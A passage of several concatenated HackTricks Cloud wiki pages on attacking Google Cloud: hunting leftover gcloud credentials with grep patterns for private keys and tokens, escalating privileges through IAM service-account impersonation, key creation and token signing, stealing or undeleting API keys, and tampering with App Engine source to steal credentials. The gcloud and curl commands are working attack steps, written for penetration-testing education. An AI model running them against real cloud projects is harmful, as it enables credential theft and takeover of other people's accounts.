compute engine you have compromised may help you to **escalate privileges locally inside a machine**. Even if that won't always be very helpful in a cloud environment, it's good to know it's possible. [](#follow-the-scripts) ------------------------ **Compute Instances** are probably there to **execute some scripts** to perform actions with their service accounts. As IAM is go granular, an account may have **read/write** privileges over a resource but **no list privileges**. A great hypothetical example of this is a Compute Instance that has permission to read/write backups to a storage bucket called `instance82736-long-term-xyz-archive-0332893`. Running `gsutil ls` from the command line returns nothing, as the service account is lacking the `storage.buckets.list` IAM permission. However, if you ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may find a complete filesystem backup, giving you clear-text access to data that your local Linux account lacks. You may be able to find this bucket name inside a script (in bash, Python, Ruby...). Administrators can add [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) at the **instance** and **project level**. This is simply a way to pass **arbitrary key/value pairs into an instance**, and is commonly used for environment variables and startup/shutdown scripts. Moreover, it's possible to add **userdata**, which is a script that will be **executed everytime** the machine is started or restarted and that can be **accessed from the metadata endpoint also.** For more info check: [Cloud SSRF - HackTricks](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) Most of the following proposed permissions are **given to the default Compute SA,** the only problem is that the **default access scope prevents the SA from using them**. However, if **`cloud-platform`** **scope** is enabled or just the **`compute`** **scope** is enabled, you will be **able to abuse them**. Check the following permissions: * [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin) * [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin) * [**compute.projects.setCommonInstanceMetadata**](gcp-compute-privesc/index.html#compute.projects.setcommoninstancemetadata) * [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata) * [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy) Check if other users have loggedin in gcloud inside the box and left their credentials in the filesystem: sudo find / -name "gcloud" These are the most interesting files: * `~/.config/gcloud/credentials.db` * `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json` * `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto` * `~/.credentials.json` bash TARGET_DIR="/path/to/whatever" # Service account keys grep -Pzr "(?s){[^{}]*?service_account[^{}]*?private_key.*?}" \ "$TARGET_DIR" # Legacy GCP creds grep -Pzr "(?s){[^{}]*?client_id[^{}]*?client_secret.*?}" \ "$TARGET_DIR" # Google API keys grep -Pr "AIza[a-zA-Z0-9\\-_]{35}" \ "$TARGET_DIR" # Google OAuth tokens grep -Pr "ya29\.[a-zA-Z0-9_-]{100,200}" \ "$TARGET_DIR" # Generic SSH keys grep -Pzr "(?s)-----BEGIN[ A-Z]*?PRIVATE KEY[a-zA-Z0-9/\+=\n-]*?END[ A-Z]*?PRIVATE KEY-----" \ "$TARGET_DIR" # Signed storage URLs grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \ "$TARGET_DIR" # Signed policy documents in HTML grep -Pzr '(?s)
' \ "$TARGET_DIR" * [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Workflows Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. **Google Cloud Platform (GCP) Workflows** is a service that helps you automate tasks that involve **multiple steps** across Google Cloud services and other web-based services. Think of it as a way to set up a **sequence of actions** that run on their own once triggered. You can design these sequences, called workflows, to do things like process data, handle software deployments, or manage cloud resources without having to manually oversee each step. Related to encryption, by default the **Google-managed encryption key is use**d but it's possible to make it use a key of by customers. caution You can also check the output of previous executions to look for sensitive information bash # List Workflows gcloud workflows list # Get info and yaml of an specific workflow gcloud workflows describe # List executions gcloud workflows executions list workflow-1 # Get execution info and output gcloud workflows executions describe projects//locations//workflows//executions/ [GCP - Workflows Privesc](../gcp-privilege-escalation/gcp-workflows-privesc.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - API Keys Persistence - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information about API Keys check: [GCP - API Keys Enum](../gcp-services/gcp-api-keys-enum.html) Check how to do this in: [GCP - Apikeys Privesc](../gcp-privilege-escalation/gcp-apikeys-privesc.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - IAM Privesc - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 8 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Find more information about IAM in: [GCP - IAM, Principals & Org Policies Enum](../gcp-services/gcp-iam-and-org-policies-enum.html) An attacker with the mentioned permissions will be able to update a role assigned to you and give you extra permissions to other resources like: bash gcloud iam roles update --project --add-permissions You can find a script to automate the **creation, exploit and cleaning of a vuln environment here** and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py) . For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) . An attacker with the mentioned permissions will be able to **request an access token that belongs to a Service Account**, so it's possible to request an access token of a Service Account with more privileges than ours. bash gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \ auth print-access-token You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) . For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) . An attacker with the mentioned permissions will be able to **create a user-managed key for a Service Account**, which will allow us to access GCP as that Service Account. bash gcloud iam service-accounts keys create --iam-account /tmp/key.json gcloud auth activate-service-account --key-file=sa_cred.json You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py) . For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) . Note that **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA because to do that the permissions `iam.serviceAccountKeys.create` is also needed. If you have the **`iam.serviceAccounts.implicitDelegation`** permission on a Service Account that has the **`iam.serviceAccounts.getAccessToken`** permission on a third Service Account, then you can use implicitDelegation to **create a token for that third Service Account**. Here is a diagram to help explain. ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png) Note that according to the [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) , the delegation of `gcloud` only works to generate a token using the [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) method. So here you have how to get a token using the API directly: bash curl -X POST \ 'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \ -d '{ "delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"], "scope": ["https://www.googleapis.com/auth/cloud-platform"] }' You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) . For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) . An attacker with the mentioned permissions will be able to **sign of arbitrary payloads in GCP**. So it'll be possible to **create an unsigned JWT of the SA and then send it as a blob to get the JWT signed** by the SA we are targeting. For more information [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed) . You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) . For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) . An attacker with the mentioned permissions will be able to **sign well-formed JSON web tokens (JWTs)**. The difference with the previous method is that **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT**. This makes it easier to use but you can only sign JWT instead of any bytes. You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) . For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) . ### [](#iam.serviceaccounts.setiampolicy) An attacker with the mentioned permissions will be able to **add IAM policies to service accounts**. You can abuse it to **grant yourself** the permissions you need to impersonate the service account. In the following example we are granting ourselves the `roles/iam.serviceAccountTokenCreator` role over the interesting SA: bash gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ --member="user:username@domain.com" \ --role="roles/iam.serviceAccountTokenCreator" # If you still have prblem grant yourself also this permission gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \ --member="user:username@domain.com" \ --role="roles/iam.serviceAccountUser" You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh) **.** The **iam.serviceAccounts.actAs permission** is like the **iam:PassRole permission from AWS**. It's essential for executing tasks, like initiating a Compute Engine instance, as it grants the ability to "actAs" a Service Account, ensuring secure permission management. Without this, users might gain undue access. Additionally, exploiting the **iam.serviceAccounts.actAs** involves various methods, each requiring a set of permissions, contrasting with other methods that need just one. #### [](#service-account-impersonation) Impersonating a service account can be very useful to **obtain new and better privileges**. There are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) : * Authentication **using RSA private keys** (covered above) * Authorization **using Cloud IAM policies** (covered here) * **Deploying jobs on GCP services** (more applicable to the compromise of a user account) An attacker with the mentioned permissions will be able to generate an OpenID JWT. These are used to assert identity and do not necessarily carry any implicit authorization against a resource. According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) , it's necessary to indicate the audience (service where you want to use the token to authenticate to) and you will receive a JWT signed by google indicating the service account and the audience of the JWT. You can generate an OpenIDToken (if you have the access) with: bash # First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA gcloud auth activate-service-account --key-file=/path/to/svc_account.json # Then, generate token gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com Then you can just use it to access the service with: bash curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app Some services that support authentication via this kind of tokens are: * [Google Cloud Run](https://cloud.google.com/run/) * [Google Cloud Functions](https://cloud.google.com/functions/docs/) * [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto) * [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC) You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py) . * [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Apikeys Privesc - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 4 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._ Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges. For more information about API Keys check: [GCP - API Keys Enum](../gcp-services/gcp-api-keys-enum.html) For other ways to create API keys check: [GCP - Serviceusage Privesc](gcp-serviceusage-privesc.html) ### [](#apikeys.keys.create) As you might not know which APIs are enabled in the project or the restrictions applied to the API key you found, it would be interesting to run the tool [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.** ### [](#apikeys.keys.create) This permission allows to **create an API key**: bash gcloud services api-keys create Operation [operations/akmf.p7-[...]9] complete. Result: { "@type":"type.googleapis.com/google.api.apikeys.v2.Key", "createTime":"2022-01-26T12:23:06.281029Z", "etag":"W/\"HOhA[...]==\"", "keyString":"AIzaSy[...]oU", "name":"projects/5[...]6/locations/global/keys/f707[...]e8", "uid":"f707[...]e8", "updateTime":"2022-01-26T12:23:06.378442Z" } You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh) . caution Note that by default users have permissions to create new projects adn they are granted Owner role over the new project. So a user could c**reate a project and an API key inside this project**. ### [](#apikeys.keys.getkeystringapikeys.keys.list) These permissions allows **list and get all the apiKeys and get the Key**: bash for key in $(gcloud services api-keys list --uri); do gcloud services api-keys get-key-string "$key" done You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh) . ### [](#serviceusage.apikeys.regenerateapikeys.keys.list) These permissions allow you to **list and regenerate deleted api keys**. The **API key is given in the output** after the **undelete** is done: bash gcloud services api-keys list --show-deleted gcloud services api-keys undelete Check the following page to learn how to do this, although this action belongs to the service **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin) : [GWS - Google Platforms Phishing](../../workspace-security/gws-google-platforms-phishing/index.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - App Engine Post Exploitation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For information about App Engine check: [GCP - App Engine Enum](../gcp-services/gcp-app-engine-enum.html) With these permissions it's possible to: * Add a key * List keys * Get a key * Delete caution However, I **couldn't find any way to access this information from the cli**, only from the **web console** where you need to know the **Key type** and the **Key name**, of from the a**pp engine running app**. If you know easier ways to use these permissions send a Pull Request! With this permission it's possible to **see the logs of the App**: bash gcloud app logs tail -s The source code of all the versions and services are **stored in the bucket** with the name **`staging..appspot.com`**. If you have write access over it you can read the source code and search for **vulnerabilities** and **sensitive information**. Modify source code to steal credentials if they are being sent or perform a defacement web attack. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - ClientAuthConfig Privesc - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. [**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients) , these are the required permissions: * `clientauthconfig.brands.list` * `clientauthconfig.brands.create` * `clientauthconfig.brands.get` * `clientauthconfig.clients.create` * `clientauthconfig.clients.listWithSecrets` * `clientauthconfig.clients.getWithSecret` * `clientauthconfig.clients.delete` * `clientauthconfig.clients.update` bash # Create a brand gcloud iap oauth-brands list gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_email=SUPPORT_EMAIL # Create a client of the brand gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to 